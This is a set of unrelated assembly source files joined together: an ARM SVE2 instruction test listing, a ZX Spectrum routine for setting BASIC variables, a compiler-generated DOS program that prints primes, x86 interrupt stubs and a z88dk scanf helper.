z8.d,z8.d,z16.d adclb z8.d,z8.d,z30.d adclb z8.d,z8.d,z31.d aesd z8.b,z8.b/*asm*/,z8.b aesd z1.b,z1.b/*asm*/,z8.b aesd z2.b,z2.b/*asm*/,z8.b aesd z4.b,z4.b/*asm*/,z8.b aesd z0.b,z0.b/*asm*/,z8.b aesd z16.b,z16.b/*asm*/,z8.b aesd z30.b,z30.b/*asm*/,z8.b aesd z31.b,z31.b/*asm*/,z8.b aesd z8.b,z8.b/*asm*/,z8.b aesd z8.b,z8.b/*asm*/,z1.b aesd z8.b,z8.b/*asm*/,z2.b aesd z8.b,z8.b/*asm*/,z4.b aesd z8.b,z8.b/*asm*/,z0.b aesd z8.b,z8.b/*asm*/,z16.b aesd z8.b,z8.b/*asm*/,z30.b aesd z8.b,z8.b/*asm*/,z31.b addhnb z8.b,z8.h,z8.h addhnb z1.b,z8.h,z8.h addhnb z2.b,z8.h,z8.h addhnb z4.b,z8.h,z8.h addhnb z0.b,z8.h,z8.h addhnb z16.b,z8.h,z8.h addhnb z30.b,z8.h,z8.h addhnb z31.b,z8.h,z8.h addhnb z8.b,z8.h,z8.h addhnb z8.b,z1.h,z8.h addhnb z8.b,z2.h,z8.h addhnb z8.b,z4.h,z8.h addhnb z8.b,z0.h,z8.h addhnb z8.b,z16.h,z8.h addhnb z8.b,z30.h,z8.h addhnb z8.b,z31.h,z8.h addhnb z8.b,z8.h,z8.h addhnb z8.b,z8.h,z1.h addhnb z8.b,z8.h,z2.h addhnb z8.b,z8.h,z4.h addhnb z8.b,z8.h,z0.h addhnb z8.b,z8.h,z16.h addhnb z8.b,z8.h,z30.h addhnb z8.b,z8.h,z31.h addhnb z8.h,z8.s,z8.s addhnb z1.h,z8.s,z8.s addhnb z2.h,z8.s,z8.s addhnb z4.h,z8.s,z8.s addhnb z0.h,z8.s,z8.s addhnb z16.h,z8.s,z8.s addhnb z30.h,z8.s,z8.s addhnb z31.h,z8.s,z8.s addhnb z8.h,z8.s,z8.s addhnb z8.h,z1.s,z8.s addhnb z8.h,z2.s,z8.s addhnb z8.h,z4.s,z8.s addhnb z8.h,z0.s,z8.s addhnb z8.h,z16.s,z8.s addhnb z8.h,z30.s,z8.s addhnb z8.h,z31.s,z8.s addhnb z8.h,z8.s,z8.s addhnb z8.h,z8.s,z1.s addhnb z8.h,z8.s,z2.s addhnb z8.h,z8.s,z4.s addhnb z8.h,z8.s,z0.s addhnb z8.h,z8.s,z16.s addhnb z8.h,z8.s,z30.s addhnb z8.h,z8.s,z31.s addhnb z8.s,z8.d,z8.d addhnb z1.s,z8.d,z8.d addhnb z2.s,z8.d,z8.d addhnb z4.s,z8.d,z8.d addhnb z0.s,z8.d,z8.d addhnb z16.s,z8.d,z8.d addhnb z30.s,z8.d,z8.d addhnb z31.s,z8.d,z8.d addhnb z8.s,z8.d,z8.d addhnb z8.s,z1.d,z8.d addhnb z8.s,z2.d,z8.d addhnb z8.s,z4.d,z8.d addhnb z8.s,z0.d,z8.d addhnb z8.s,z16.d,z8.d addhnb z8.s,z30.d,z8.d addhnb z8.s,z31.d,z8.d addhnb z8.s,z8.d,z8.d addhnb z8.s,z8.d,z1.d addhnb z8.s,z8.d,z2.d addhnb z8.s,z8.d,z4.d addhnb z8.s,z8.d,z0.d addhnb z8.s,z8.d,z16.d addhnb z8.s,z8.d,z30.d addhnb z8.s,z8.d,z31.d addhnt z8.b,z8.h,z8.h addhnt z1.b,z8.h,z8.h addhnt z2.b,z8.h,z8.h addhnt z4.b,z8.h,z8.h addhnt z0.b,z8.h,z8.h addhnt z16.b,z8.h,z8.h addhnt z30.b,z8.h,z8.h addhnt z31.b,z8.h,z8.h addhnt z8.b,z8.h,z8.h addhnt z8.b,z1.h,z8.h addhnt z8.b,z2.h,z8.h addhnt z8.b,z4.h,z8.h addhnt z8.b,z0.h,z8.h addhnt z8.b,z16.h,z8.h addhnt z8.b,z30.h,z8.h addhnt z8.b,z31.h,z8.h addhnt z8.b,z8.h,z8.h addhnt z8.b,z8.h,z1.h addhnt z8.b,z8.h,z2.h addhnt z8.b,z8.h,z4.h addhnt z8.b,z8.h,z0.h addhnt z8.b,z8.h,z16.h addhnt z8.b,z8.h,z30.h addhnt z8.b,z8.h,z31.h addhnt z8.h,z8.s,z8.s addhnt z1.h,z8.s,z8.s addhnt z2.h,z8.s,z8.s addhnt z4.h,z8.s,z8.s addhnt z0.h,z8.s,z8.s addhnt z16.h,z8.s,z8.s addhnt z30.h,z8.s,z8.s addhnt z31.h,z8.s,z8.s addhnt z8.h,z8.s,z8.s addhnt z8.h,z1.s,z8.s addhnt z8.h,z2.s,z8.s addhnt z8.h,z4.s,z8.s addhnt z8.h,z0.s,z8.s addhnt z8.h,z16.s,z8.s addhnt z8.h,z30.s,z8.s addhnt z8.h,z31.s,z8.s addhnt z8.h,z8.s,z8.s addhnt z8.h,z8.s,z1.s addhnt z8.h,z8.s,z2.s addhnt z8.h,z8.s,z4.s addhnt z8.h,z8.s,z0.s addhnt z8.h,z8.s,z16.s addhnt z8.h,z8.s,z30.s addhnt z8.h,z8.s,z31.s addhnt z8.s,z8.d,z8.d addhnt z1.s,z8.d,z8.d addhnt z2.s,z8.d,z8.d addhnt z4.s,z8.d,z8.d addhnt z0.s,z8.d,z8.d addhnt z16.s,z8.d,z8.d addhnt z30.s,z8.d,z8.d addhnt z31.s,z8.d,z8.d addhnt z8.s,z8.d,z8.d addhnt z8.s,z1.d,z8.d addhnt z8.s,z2.d,z8.d addhnt z8.s,z4.d,z8.d addhnt z8.s,z0.d,z8.d addhnt z8.s,z16.d,z8.d addhnt z8.s,z30.d,z8.d addhnt z8.s,z31.d,z8.d addhnt z8.s,z8.d,z8.d addhnt z8.s,z8.d,z1.d addhnt z8.s,z8.d,z2.d addhnt z8.s,z8.d,z4.d addhnt z8.s,z8.d,z0.d addhnt z8.s,z8.d,z16.d addhnt z8.s,z8.d,z30.d addhnt z8.s,z8.d,z31.d asrd z8.b,p7/m,z8.b/*asm*/,(1<<3)-1 asrd z1.b,p7/m,z1.b/*asm*/,(1<<3)-1 asrd z2.b,p7/m,z2.b/*asm*/,(1<<3)-1 asrd z4.b,p7/m,z4.b/*asm*/,(1<<3)-1 asrd z0.b,p7/m,z0.b/*asm*/,(1<<3)-1 asrd z16.b,p7/m,z16.b/*asm*/,(1<<3)-1 asrd z30.b,p7/m,z30.b/*asm*/,(1<<3)-1 asrd z31.b,p7/m,z31.b/*asm*/,(1<<3)-1 asrd z8.b,p7/m,z8.b/*asm*/,(1<<3)-1 asrd z8.b,p1/m,z8.b/*asm*/,(1<<3)-1 asrd z8.b,p2/m,z8.b/*asm*/,(1<<3)-1 asrd z8.b,p4/m,z8.b/*asm*/,(1<<3)-1 asrd z8.b,p0/m,z8.b/*asm*/,(1<<3)-1 asrd z8.b,p7/m,z8.b/*asm*/,(1<<3)-1 asrd z8.b,p7/m,z8.b/*asm*/,1<<1 asrd z8.b,p7/m,z8.b/*asm*/,1<<2 asrd z8.h,p7/m,z8.h/*asm*/,(1<<4)-1 asrd z1.h,p7/m,z1.h/*asm*/,(1<<4)-1 asrd z2.h,p7/m,z2.h/*asm*/,(1<<4)-1 asrd z4.h,p7/m,z4.h/*asm*/,(1<<4)-1 asrd z0.h,p7/m,z0.h/*asm*/,(1<<4)-1 asrd z16.h,p7/m,z16.h/*asm*/,(1<<4)-1 asrd z30.h,p7/m,z30.h/*asm*/,(1<<4)-1 asrd z31.h,p7/m,z31.h/*asm*/,(1<<4)-1 asrd z8.h,p7/m,z8.h/*asm*/,(1<<4)-1 asrd z8.h,p1/m,z8.h/*asm*/,(1<<4)-1 asrd z8.h,p2/m,z8.h/*asm*/,(1<<4)-1 asrd z8.h,p4/m,z8.h/*asm*/,(1<<4)-1 asrd z8.h,p0/m,z8.h/*asm*/,(1<<4)-1 asrd z8.h,p7/m,z8.h/*asm*/,(1<<4)-1 asrd z8.h,p7/m,z8.h/*asm*/,1<<3 asrd z8.h,p7/m,z8.h/*asm*/,1<<2 asrd z8.s,p7/m,z8.s/*asm*/,(1<<5)-1 asrd z1.s,p7/m,z1.s/*asm*/,(1<<5)-1 asrd z2.s,p7/m,z2.s/*asm*/,(1<<5)-1 asrd z4.s,p7/m,z4.s/*asm*/,(1<<5)-1 asrd z0.s,p7/m,z0.s/*asm*/,(1<<5)-1 asrd z16.s,p7/m,z16.s/*asm*/,(1<<5)-1 asrd z30.s,p7/m,z30.s/*asm*/,(1<<5)-1 asrd z31.s,p7/m,z31.s/*asm*/,(1<<5)-1 asrd z8.s,p7/m,z8.s/*asm*/,(1<<5)-1 asrd z8.s,p1/m,z8.s/*asm*/,(1<<5)-1 asrd z8.s,p2/m,z8.s/*asm*/,(1<<5)-1 asrd z8.s,p4/m,z8.s/*asm*/,(1<<5)-1 asrd z8.s,p0/m,z8.s/*asm*/,(1<<5)-1 asrd z8.s,p7/m,z8.s/*asm*/,(1<<5)-1 asrd z8.s,p7/m,z8.s/*asm*/,1<<3 asrd z8.s,p7/m,z8.s/*asm*/,1<<2 asrd z8.d,p7/m,z8.d/*asm*/,(1<<6)-1 asrd z1.d,p7/m,z1.d/*asm*/,(1<<6)-1 asrd z2.d,p7/m,z2.d/*asm*/,(1<<6)-1 asrd z4.d,p7/m,z4.d/*asm*/,(1<<6)-1 asrd z0.d,p7/m,z0.d/*asm*/,(1<<6)-1 asrd z16.d,p7/m,z16.d/*asm*/,(1<<6)-1 asrd z30.d,p7/m,z30.d/*asm*/,(1<<6)-1 asrd z31.d,p7/m,z31.d/*asm*/,(1<<6)-1 asrd z8.d,p7/m,z8.d/*asm*/,(1<<6)-1 asrd z8.d,p1/m,z8.d/*asm*/,(1<<6)-1 asrd z8.d,p2/m,z8.d/*asm*/,(1<<6)-1 asrd z8.d,p4/m,z8.d/*asm*/,(1<<6)-1 asrd z8.d,p0/m,z8.d/*asm*/,(1<<6)-1 asrd z8.d,p7/m,z8.d/*asm*/,(1<<6)-1 asrd z8.d,p7/m,z8.d/*asm*/,1<<3 asrd z8.d,p7/m,z8.d/*asm*/,1<<2 adclt z8.s,z8.s,z8.s adclt z1.s,z8.s,z8.s adclt z2.s,z8.s,z8.s adclt z4.s,z8.s,z8.s adclt z0.s,z8.s,z8.s adclt z16.s,z8.s,z8.s adclt z30.s,z8.s,z8.s adclt z31.s,z8.s,z8.s adclt z8.s,z8.s,z8.s adclt z8.s,z1.s,z8.s adclt z8.s,z2.s,z8.s adclt z8.s,z4.s,z8.s adclt z8.s,z0.s,z8.s adclt z8.s,z16.s,z8.s adclt z8.s,z30.s,z8.s adclt z8.s,z31.s,z8.s adclt z8.s,z8.s,z8.s adclt z8.s,z8.s,z1.s adclt z8.s,z8.s,z2.s adclt z8.s,z8.s,z4.s adclt z8.s,z8.s,z0.s adclt z8.s,z8.s,z16.s adclt z8.s,z8.s,z30.s adclt z8.s,z8.s,z31.s adclt z8.d,z8.d,z8.d adclt z1.d,z8.d,z8.d adclt z2.d,z8.d,z8.d adclt z4.d,z8.d,z8.d adclt z0.d,z8.d,z8.d adclt z16.d,z8.d,z8.d adclt z30.d,z8.d,z8.d adclt z31.d,z8.d,z8.d adclt z8.d,z8.d,z8.d adclt z8.d,z1.d,z8.d adclt z8.d,z2.d,z8.d adclt z8.d,z4.d,z8.d adclt z8.d,z0.d,z8.d adclt z8.d,z16.d,z8.d adclt z8.d,z30.d,z8.d adclt z8.d,z31.d,z8.d adclt z8.d,z8.d,z8.d adclt z8.d,z8.d,z1.d adclt z8.d,z8.d,z2.d adclt z8.d,z8.d,z4.d adclt z8.d,z8.d,z0.d adclt z8.d,z8.d,z16.d adclt z8.d,z8.d,z30.d adclt z8.d,z8.d,z31.d aesimc z8.b,z8.b/*asm*/ aesimc z1.b,z1.b/*asm*/ aesimc z2.b,z2.b/*asm*/ aesimc z4.b,z4.b/*asm*/ aesimc z0.b,z0.b/*asm*/ aesimc z16.b,z16.b/*asm*/ aesimc z30.b,z30.b/*asm*/ aesimc z31.b,z31.b/*asm*/ addp z8.b,p7/m,z8.b/*asm*/,z8.b addp z1.b,p7/m,z1.b/*asm*/,z8.b addp z2.b,p7/m,z2.b/*asm*/,z8.b addp z4.b,p7/m,z4.b/*asm*/,z8.b addp z0.b,p7/m,z0.b/*asm*/,z8.b addp z16.b,p7/m,z16.b/*asm*/,z8.b addp z30.b,p7/m,z30.b/*asm*/,z8.b addp z31.b,p7/m,z31.b/*asm*/,z8.b addp z8.b,p7/m,z8.b/*asm*/,z8.b addp z8.b,p1/m,z8.b/*asm*/,z8.b addp z8.b,p2/m,z8.b/*asm*/,z8.b addp z8.b,p4/m,z8.b/*asm*/,z8.b addp z8.b,p0/m,z8.b/*asm*/,z8.b addp z8.b,p7/m,z8.b/*asm*/,z8.b addp z8.b,p7/m,z8.b/*asm*/,z8.b addp z8.b,p7/m,z8.b/*asm*/,z1.b addp z8.b,p7/m,z8.b/*asm*/,z2.b addp z8.b,p7/m,z8.b/*asm*/,z4.b addp z8.b,p7/m,z8.b/*asm*/,z0.b addp z8.b,p7/m,z8.b/*asm*/,z16.b addp z8.b,p7/m,z8.b/*asm*/,z30.b addp z8.b,p7/m,z8.b/*asm*/,z31.b addp z8.h,p7/m,z8.h/*asm*/,z8.h addp z1.h,p7/m,z1.h/*asm*/,z8.h addp z2.h,p7/m,z2.h/*asm*/,z8.h addp z4.h,p7/m,z4.h/*asm*/,z8.h addp z0.h,p7/m,z0.h/*asm*/,z8.h addp z16.h,p7/m,z16.h/*asm*/,z8.h addp z30.h,p7/m,z30.h/*asm*/,z8.h addp z31.h,p7/m,z31.h/*asm*/,z8.h addp z8.h,p7/m,z8.h/*asm*/,z8.h addp z8.h,p1/m,z8.h/*asm*/,z8.h addp z8.h,p2/m,z8.h/*asm*/,z8.h addp z8.h,p4/m,z8.h/*asm*/,z8.h addp z8.h,p0/m,z8.h/*asm*/,z8.h addp z8.h,p7/m,z8.h/*asm*/,z8.h addp z8.h,p7/m,z8.h/*asm*/,z8.h addp z8.h,p7/m,z8.h/*asm*/,z1.h addp z8.h,p7/m,z8.h/*asm*/,z2.h addp z8.h,p7/m,z8.h/*asm*/,z4.h addp z8.h,p7/m,z8.h/*asm*/,z0.h addp z8.h,p7/m,z8.h/*asm*/,z16.h addp z8.h,p7/m,z8.h/*asm*/,z30.h addp z8.h,p7/m,z8.h/*asm*/,z31.h addp z8.s,p7/m,z8.s/*asm*/,z8.s addp z1.s,p7/m,z1.s/*asm*/,z8.s addp z2.s,p7/m,z2.s/*asm*/,z8.s addp z4.s,p7/m,z4.s/*asm*/,z8.s addp z0.s,p7/m,z0.s/*asm*/,z8.s addp z16.s,p7/m,z16.s/*asm*/,z8.s addp z30.s,p7/m,z30.s/*asm*/,z8.s addp z31.s,p7/m,z31.s/*asm*/,z8.s addp z8.s,p7/m,z8.s/*asm*/,z8.s addp z8.s,p1/m,z8.s/*asm*/,z8.s addp z8.s,p2/m,z8.s/*asm*/,z8.s addp z8.s,p4/m,z8.s/*asm*/,z8.s addp z8.s,p0/m,z8.s/*asm*/,z8.s addp z8.s,p7/m,z8.s/*asm*/,z8.s addp z8.s,p7/m,z8.s/*asm*/,z8.s addp z8.s,p7/m,z8.s/*asm*/,z1.s addp z8.s,p7/m,z8.s/*asm*/,z2.s addp z8.s,p7/m,z8.s/*asm*/,z4.s addp z8.s,p7/m,z8.s/*asm*/,z0.s addp z8.s,p7/m,z8.s/*asm*/,z16.s addp z8.s,p7/m,z8.s/*asm*/,z30.s addp z8.s,p7/m,z8.s/*asm*/,z31.s addp z8.d,p7/m,z8.d/*asm*/,z8.d addp z1.d,p7/m,z1.d/*asm*/,z8.d addp z2.d,p7/m,z2.d/*asm*/,z8.d addp z4.d,p7/m,z4.d/*asm*/,z8.d addp z0.d,p7/m,z0.d/*asm*/,z8.d addp z16.d,p7/m,z16.d/*asm*/,z8.d addp z30.d,p7/m,z30.d/*asm*/,z8.d addp z31.d,p7/m,z31.d/*asm*/,z8.d addp z8.d,p7/m,z8.d/*asm*/,z8.d addp z8.d,p1/m,z8.d/*asm*/,z8.d addp z8.d,p2/m,z8.d/*asm*/,z8.d addp z8.d,p4/m,z8.d/*asm*/,z8.d addp z8.d,p0/m,z8.d/*asm*/,z8.d addp z8.d,p7/m,z8.d/*asm*/,z8.d addp z8.d,p7/m,z8.d/*asm*/,z8.d addp z8.d,p7/m,z8.d/*asm*/,z1.d addp z8.d,p7/m,z8.d/*asm*/,z2.d addp z8.d,p7/m,z8.d/*asm*/,z4.d addp z8.d,p7/m,z8.d/*asm*/,z0.d addp z8.d,p7/m,z8.d/*asm*/,z16.d addp z8.d,p7/m,z8.d/*asm*/,z30.d addp z8.d,p7/m,z8.d/*asm*/,z31.d asr z8.b,p7/m,z8.b/*asm*/,(1<<3)-1 asr z1.b,p7/m,z1.b/*asm*/,(1<<3)-1 asr z2.b,p7/m,z2.b/*asm*/,(1<<3)-1 asr z4.b,p7/m,z4.b/*asm*/,(1<<3)-1 asr z0.b,p7/m,z0.b/*asm*/,(1<<3)-1 asr z16.b,p7/m,z16.b/*asm*/,(1<<3)-1 asr z30.b,p7/m,z30.b/*asm*/,(1<<3)-1 asr z31.b,p7/m,z31.b/*asm*/,(1<<3)-1 asr z8.b,p7/m,z8.b/*asm*/,(1<<3)-1 asr z8.b,p1/m,z8.b/*asm*/,(1<<3)-1 asr z8.b,p2/m,z8.b/*asm*/,(1<<3)-1 asr z8.b,p4/m,z8.b/*asm*/,(1<<3)-1 asr z8.b,p0/m,z8.b/*asm*/,(1<<3)-1 asr z8.b,p7/m,z8.b/*asm*/,(1<<3)-1 asr z8.b,p7/m,z8.b/*asm*/,1<<1 asr z8.b,p7/m,z8.b/*asm*/,1<<2 asr z8.h,p7/m,z8.h/*asm*/,(1<<4)-1 asr z1.h,p7/m,z1.h/*asm*/,(1<<4)-1 asr z2.h,p7/m,z2.h/*asm*/,(1<<4)-1 asr z4.h,p7/m,z4.h/*asm*/,(1<<4)-1 asr z0.h,p7/m,z0.h/*asm*/,(1<<4)-1 asr z16.h,p7/m,z16.h/*asm*/,(1<<4)-1 asr z30.h,p7/m,z30.h/*asm*/,(1<<4)-1 asr z31.h,p7/m,z31.h/*asm*/,(1<<4)-1 asr z8.h,p7/m,z8.h/*asm*/,(1<<4)-1 asr z8.h,p1/m,z8.h/*asm*/,(1<<4)-1 asr z8.h,p2/m,z8.h/*asm*/,(1<<4)-1 asr z8.h,p4/m,z8.h/*asm*/,(1<<4)-1 asr z8.h,p0/m,z8.h/*asm*/,(1<<4)-1 asr z8.h,p7/m,z8.h/*asm*/,(1<<4)-1 asr z8.h,p7/m,z8.h/*asm*/,1<<3 asr z8.h,p7/m,z8.h/*asm*/,1<<2 asr z8.s,p7/m,z8.s/*asm*/,(1<<5)-1 asr z1.s,p7/m,z1.s/*asm*/,(1<<5)-1 asr z2.s,p7/m,z2.s/*asm*/,(1<<5)-1 asr z4.s,p7/m,z4.s/*asm*/,(1<<5)-1 asr z0.s,p7/m,z0.s/*asm*/,(1<<5)-1 asr z16.s,p7/m,z16.s/*asm*/,(1<<5)-1 asr z30.s,p7/m,z30.s/*asm*/,(1<<5)-1 asr z31.s,p7/m,z31.s/*asm*/,(1<<5)-1 asr z8.s,p7/m,z8.s/*asm*/,(1<<5)-1 asr z8.s,p1/m,z8.s/*asm*/,(1<<5)-1 asr z8.s,p2/m,z8.s/*asm*/,(1<<5)-1 asr z8.s,p4/m,z8.s/*asm*/,(1<<5)-1 asr z8.s,p0/m,z8.s/*asm*/,(1<<5)-1 asr z8.s,p7/m,z8.s/*asm*/,(1<<5)-1 asr z8.s,p7/m,z8.s/*asm*/,1<<3 asr z8.s,p7/m,z8.s/*asm*/,1<<2 asr z8.d,p7/m,z8.d/*asm*/,(1<<6)-1 asr z1.d,p7/m,z1.d/*asm*/,(1<<6)-1 asr z2.d,p7/m,z2.d/*asm*/,(1<<6)-1 asr z4.d,p7/m,z4.d/*asm*/,(1<<6)-1 asr z0.d,p7/m,z0.d/*asm*/,(1<<6)-1 asr z16.d,p7/m,z16.d/*asm*/,(1<<6)-1 asr z30.d,p7/m,z30.d/*asm*/,(1<<6)-1 asr z31.d,p7/m,z31.d/*asm*/,(1<<6)-1 asr z8.d,p7/m,z8.d/*asm*/,(1<<6)-1 asr z8.d,p1/m,z8.d/*asm*/,(1<<6)-1 asr z8.d,p2/m,z8.d/*asm*/,(1<<6)-1 asr z8.d,p4/m,z8.d/*asm*/,(1<<6)-1 asr z8.d,p0/m,z8.d/*asm*/,(1<<6)-1 asr z8.d,p7/m,z8.d/*asm*/,(1<<6)-1 asr z8.d,p7/m,z8.d/*asm*/,1<<3 asr z8.d,p7/m,z8.d/*asm*/,1<<2 aesmc z8.b,z8.b/*asm*/ aesmc z1.b,z1.b/*asm*/ aesmc z2.b,z2.b/*asm*/ aesmc z4.b,z4.b/*asm*/ aesmc z0.b,z0.b/*asm*/ aesmc z16.b,z16.b/*asm*/ aesmc z30.b,z30.b/*asm*/ aesmc z31.b,z31.b/*asm*/
; ; ZX Spectrum specific routines ; by Stefano Bodrato, 28/06/2006 ; ; Copy a variable from basic ; ; int __CALLEE__ zx_setint_callee(char *variable, int value); ; ; $Id: zx_setint_callee.asm,v 1.5 2016/06/10 20:02:04 dom Exp $ ; SECTION code_clib PUBLIC zx_setint_callee PUBLIC _zx_setint_callee PUBLIC ASMDISP_ZX_SETINT_CALLEE EXTERN call_rom3 EXTERN zx_locatenum zx_setint_callee: _zx_setint_callee: pop hl pop de ex (sp),hl ; enter : de = int value ; hl = char *variable .asmentry push de push hl call zx_locatenum jr nc,store ; variable not found: create space for a new one pop hl push hl ld c,0 vlcount: ld a,(hl) inc c and a inc hl jr nz,vlcount dec c ld a,5 ; 5 bytes + len of VAR name add c ld c,a ld b,0 ld hl,($5c59) ; E_LINE dec hl ; now HL points to end of VARS call call_rom3 defw $1655 ; MAKE-ROOM inc hl pop de ; point to VAR name cp 6 ld a,(de) jr nz,morethan1 or 32 ; fall here if the variable name is ld (hl),a ; only one char long inc hl jr store2 morethan1: and 63 ; first letter of a long numeric variable name or 160 ; has those odd bits added ld (hl),a lintlp: inc de ld a,(de) ; now we copy the body of the VAR name.. and a jr z,endlint or 32 inc hl ld (hl),a djnz lintlp endlint: ld a,(hl) or 128 ; .. then we fix the last char ld (hl),a inc hl jr store2 store: pop bc ; so we keep HL pointing just after the VAR name store2: pop de ; hint by Dom Morris, store integer directly in VAR memory ld (hl),0 inc hl ld (hl),0 inc hl ld (hl),e inc hl ld (hl),d inc hl ld (hl),0 ret DEFC ASMDISP_ZX_SETINT_CALLEE = # asmentry - zx_setint_callee
DOSSEG .MODEL SMALL .STACK 100h .DATA hobptr dw 0 hob dw 150h dup(0) ; allocate hob ; error messages oomstr db 10,13,'Out of memory! Can not allocate another class.','$',0,0 .CODE jmp START ; ------------ STANDARD FUNCTIONS BEGIN ----------: new PROC mov ax, hobptr ; get hop size push ax ; save pos. of class in stack add ax, cx ; add size of obj cmp ax, 150h jg OutOfMem ; if ax < HOBSIZE jump to OutOfMemory mov hobptr, ax ; save hop size pop ax ; ax = pos. of class in hob ret OutOfMem: mov dx, OFFSET oomstr; write out of mem string to screen mov ah, 9h int 21h jmp SystemExit new ENDP SystemOutPrint PROC mov bp, sp sub bp, 2 mov bx, [bp+4] ; get adr of str obj mov cx, hob[bx] ; strlen mov si, bx ; source-print ptr add si, 2 ; get past length field printloop: mov dx, hob[si] add si, 2 ; next char mov ah, 2h ; print char int 21h loop printloop ret SystemOutPrint ENDP SystemInRead PROC mov ah, 1h ; read with screen echo int 21h mov ah, 0 ; clear AH as only AL contains userinput ret SystemInRead ENDP SystemExit PROC mov ah, 4ch int 21h ret SystemExit ENDP toString PROC mov bp, sp sub bp, 2 mov ax, [bp+4] ; get number (first argument) xor cx, cx ; cx counts size of str xor di, di ; carry if negative no cmp ax, 0 ; is negative? jge nonneg inc di ; di == 1 == no is negative inc cx neg ax ; make the number positive nonneg: mov si, 10 ; div with reg SI as many times as possible cmp ax, 0 ; is zero? jg getDigits push '0' inc cx jmp toStr ; make a str getDigits: xor dx, dx div si add dx, 48 ; conv digit to ASCII push dx inc cx cmp ax, 0 ; are we done? jg getDigits push cx ; store cx shl cx, 1 ; calc str size = (2*strlen)+2 add cx, 2 call new ; alloc new str pop cx ; get original strlen mov si, ax ; ptr to str in hob mov hob[si], cx ; store size of str cmp di, 0 ; is no negative? je toStr add si, 2 ; next pos mov hob[si], '-' ; write '-' sign dec cx toStr: add si, 2 ; next pos pop dx ; get digit mov hob[si], dx ; store size of str loop toStr ret toString ENDP String_charAt PROC mov bp, sp sub bp, 2 mov si, bx ; pos in hob where obj begins mov ax, [bp+4] ; get (first) argument telling pos to get shl ax, 1 ; ax = ax * 2 every char is 2 elems add si, ax ; pos in hob to fetch character mov ax, hob[si+2] ; +2 as first field contains str_len ret String_charAt ENDP String_concat PROC mov bp, sp sub bp, 2 mov cx, hob[bx] ; size of caller str mov si, [bp+4] ; pos in hob of 2nd str len add cx, hob[si] ; add 2nd str len add cx, 2 ; add space for sizefield push cx call new ; alloc new String object pop cx ; total strsize mov si, ax ; can't just use the AX mov hob[si], cx ; set concat'ed String size mov cx, hob[bx] ; size of str1 add bx, 4 ; start in 2nd pos (but why +4 instead of +2 ??) mov di, ax ; destination ptr = adr of new String obj add di, 2 ; start in 2nd pos strcat1: mov si, [bx] ; we can't just use [bx] mov hob[di], si add bx, 2 add di, 2 loop strcat1 mov si, [bp+4] ; pos in hob of 2nd str len mov cx, hob[si] ; size of 2nd str len mov bx, [bp+4] ; point at start of 2nd string add bx, 4 ; start in 2nd pos (but why +4??) strcat2: mov si, [bx] ; we can't just use [bx] mov hob[di], si add bx, 2 add di, 2 loop strcat2 ret String_concat ENDP String_length PROC ; str_len length() mov ax, hob[bx] ; first field in string ret String_length ENDP ; ------------ STANDARD FUNCTIONS END ----------: START: mov ax, @data ; setup DOS program mov ds, ax ; allocate object main resides in mov cx, 0 call new mov bp, sp ; adjust bp to point at functions local variable sub bp, 2 ; mov bx, ax ; store main's 'this' ; execute mains contents push 0 ; push local variables to stack push 0 ; push local variables to stack push 0 ; push local variables to stack push 0 ; push local variables to stack ; assign ; string - allocate class and return pointer on stack mov cx, 4 ; length of 2*str + 2 call new mov si, ax ; mov (adr of obj in hob) to si mov hob[si], 1 ; insert strlength mov hob[si+2], '*' push ax pop ax ; get value (assign) mov [bp-0], ax ; set local variable space ; assign mov ax, 1 push ax pop ax ; get value (assign) mov [bp-4], ax ; set local variable p start_while1: ; condition code mov ax, [bp-4] ; get local variable p push ax ; mov ax, 100 push ax pop dx pop ax cmp ax, dx jl less_2 xor ax, ax ; is not < jmp less_end2 less_2: mov ax, 65535 ; is < less_end2: push ax pop ax ; compare condition code cmp ax, 0 je end_while1 ; condition is false ; assign mov ax, 2 push ax pop ax ; get value (assign) mov [bp-6], ax ; set local variable div start_while3: ; condition code mov ax, [bp-6] ; get local variable div push ax ; mov dx, [bp-4] ; get local variable p pop ax cmp ax, dx jne neq_4 xor ax, ax ; is == jmp neq_end4 neq_4: mov ax, 65535 ; is != neq_end4: push ax ; mov ax, [bp-4] ; get local variable p push ax ; mov si, [bp-6] ; get local variable div pop ax xor dx, dx div si push dx ; mov dx, 0 pop ax cmp ax, dx jne neq_5 xor ax, ax ; is == jmp neq_end5 neq_5: mov ax, 65535 ; is != neq_end5: push ax pop dx pop ax and ax, dx push ax pop ax ; compare condition code cmp ax, 0 je end_while3 ; condition is false ; assign mov ax, [bp-6] ; get local variable div push ax ; mov dx, 1 pop dx pop ax add ax, dx mov [bp-6], ax ; set local variable div jmp start_while3 ; loop once more end_while3: mov ax, [bp-6] ; get local variable div push ax ; mov dx, [bp-4] ; get local variable p ; equal pop ax cmp ax, dx je eq_7 xor ax, ax ; is != jmp eq_end7 eq_7: mov ax, 65535 ; is == eq_end7: push ax pop cx ; start if_5 cmp cx, 0 je else_6 then_6: ; assign ; fnccallGen push bp push bx mov ax, [bp-4] ; get local variable p push ax call toString pop cx ; de-stack arguments pop bx pop bp mov [bp-2], ax ; set local variable no ; fnccallGen push bp push bx mov ax, [bp-2] ; get local variable no push ax call SystemOutPrint pop cx ; de-stack argument pop bx pop bp ; fnccallGen push bp push bx mov ax, [bp-0] ; get local variable space push ax call SystemOutPrint pop cx ; de-stack argument pop bx pop bp jmp endif_6 else_6: endif_6: ; assign mov ax, [bp-4] ; get local variable p push ax ; mov dx, 1 pop ax add ax, dx push ax pop ax ; get value (assign) mov [bp-4], ax ; set local variable p jmp start_while1 ; loop once more end_while1: jmp SystemExit END
global irq1 global int0 global int8 global intd global inte extern handle_keyboard extern divide_error extern double_fault extern gpfault extern pgfault int0: pusha call divide_error popa iret int8: pusha call double_fault popa add esp,4 ; remove error code iret intd: pusha call gpfault popa add esp,4 ; remove error code iret inte: pusha call pgfault popa add esp,4 ; remove error code iret irq1: pusha call handle_keyboard popa iret
SECTION code_clib SECTION code_stdio PUBLIC __stdio_scanf_n EXTERN l_utod_de __stdio_scanf_n: ; %n converter called from vfscanf() ; ; enter : hl = int *p ; ; exit : carry reset ; ; uses : all except ix ld a,h or l ret z ; if assignment suppressed exx push de exx pop de ; de = number of chars read from stream call l_utod_de ; unsigned to signed on de ld (hl),e inc hl ld (hl),d ret
